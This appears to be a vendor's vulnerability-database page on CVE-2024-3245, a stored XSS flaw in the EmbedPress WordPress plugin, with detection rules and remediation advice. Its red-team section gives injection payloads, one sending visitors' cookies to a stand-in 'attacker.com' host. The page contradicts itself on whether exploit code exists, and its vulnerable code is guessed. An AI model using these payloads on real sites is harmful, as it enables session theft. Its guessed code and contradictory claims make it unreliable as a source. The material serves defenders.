CVE-2024-3245
Executive Summary
CVE-2024-3245 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.14). The flaw resides in the plugin's YouTube block, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses a page containing the malicious block.
This vulnerability is part of the WordPress ecosystem and affects sites using the EmbedPress plugin for embedding various media types. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to stored XSS. No public exploit code or proof-of-concept is available at this time, and no official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The EmbedPress plugin is distributed via the official WordPress plugin repository. Users should verify they are not running version 3.9.14 or earlier. No NPM, PyPI, Go, or Ruby packages are affected.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access or higher
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the vulnerability requires authentication, the stored XSS nature means any user visiting the compromised page is at risk. Contributor-level access is relatively easy to obtain in multi-author WordPress environments.
Deep Dive & Mechanics
The vulnerability exists in the EmbedPress plugin's YouTube block, which is part of the Gutenberg block editor. The plugin fails to properly sanitize and escape user-supplied attributes when rendering the YouTube embed. Specifically, the url or src attribute of the YouTube block is not validated against a whitelist of allowed domains or sanitized for malicious JavaScript.
An attacker with contributor-level access can create a new post or page, add a YouTube block, and inject a malicious payload into the block's attribute fields. For example, instead of a legitimate YouTube URL, the attacker could insert:
" onmouseover="alert('XSS')"
or a more sophisticated payload that steals cookies or redirects users.
When the page is rendered, the injected script executes in the context of the victim's browser. Because the payload is stored in the database, every visitor to that page is affected.
The root cause is the lack of proper input validation and output escaping in the plugin's rendering function for the YouTube block. The plugin likely uses echo or print without wrapping the attribute value in esc_attr() or esc_url().
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.
Vulnerable Code (EmbedPress <= 3.9.14):
// In the render function for the YouTube block
$url = $attributes['url'];
echo '<iframe src="' . $url . '"></iframe>';
Patched Code (Hypothetical):
// In the render function for the YouTube block
$url = esc_url_raw( $attributes['url'] );
if ( wp_http_validate_url( $url ) && preg_match( '/youtube\.com|youtu\.be/', $url ) ) {
echo '<iframe src="' . esc_url( $url ) . '"></iframe>';
} else {
echo '<p>Invalid YouTube URL.</p>';
}
The patched version uses esc_url_raw() for database storage, validates the URL against allowed domains, and uses esc_url() for output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with EmbedPress plugin version <= 3.9.14
- Contributor-level account or higher
Steps:
- Log in as a contributor.
- Create a new post or page.
- Add a YouTube block.
- In the URL field, enter a malicious payload such as:
" onfocus="alert(document.cookie)" autofocus="true - Publish the post.
- Any user visiting the post will trigger the XSS.
Example Payload:
" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages created by contributors that contain unusual HTML attributes in embed blocks.
- Look for requests to
/wp-json/wp/v2/postswith suspiciousembedpressblock attributes.
Hardening:
- Disable the EmbedPress plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block malicious attributes in embed blocks.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/embedpress.php(version <= 3.9.14) - Database: Posts or pages containing
wp:embedpress/youtubeblock with suspiciousurlattribute values. - Network: Outbound requests to attacker-controlled domains from the WordPress admin interface.
- Logs: PHP error logs showing warnings about invalid URLs or unexpected HTML attributes.
Detection Engineering
YARA Rule
rule CVE_2024_3245_EmbedPress_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2024-3245 in EmbedPress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3245"
strings:
$payload1 = /" on\w+="/
$payload2 = /<script>/
$payload3 = /javascript:/
condition:
any of them
}
Sigma Rule
title: CVE-2024-3245 EmbedPress Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via EmbedPress YouTube block
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: '/wp-json/wp/v2/posts'
http.body|contains: 'wp:embedpress/youtube'
http.body|contains|re: '(" on\w+="|<script>|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in embed attributes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3245 EmbedPress Stored XSS Attempt"; flow:to_server; content:"/wp-json/wp/v2/posts"; http_uri; pcre:"/wp:embedpress\/youtube/"; pcre:"/(" on\w+="|<script>|javascript:)/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the EmbedPress plugin until a patched version is released.
- Review all posts/pages created by contributors for malicious embed blocks.
- Reset contributor passwords and audit user roles.
Long-term Fix:
- Apply the official patch once released by the vendor.
- Implement input validation and output escaping in custom WordPress development.
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
Workarounds:
- Add a WAF rule to block requests containing
wp:embedpress/youtubewith suspicious attributes. - Restrict the ability to use embed blocks to administrators only via user role editing.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.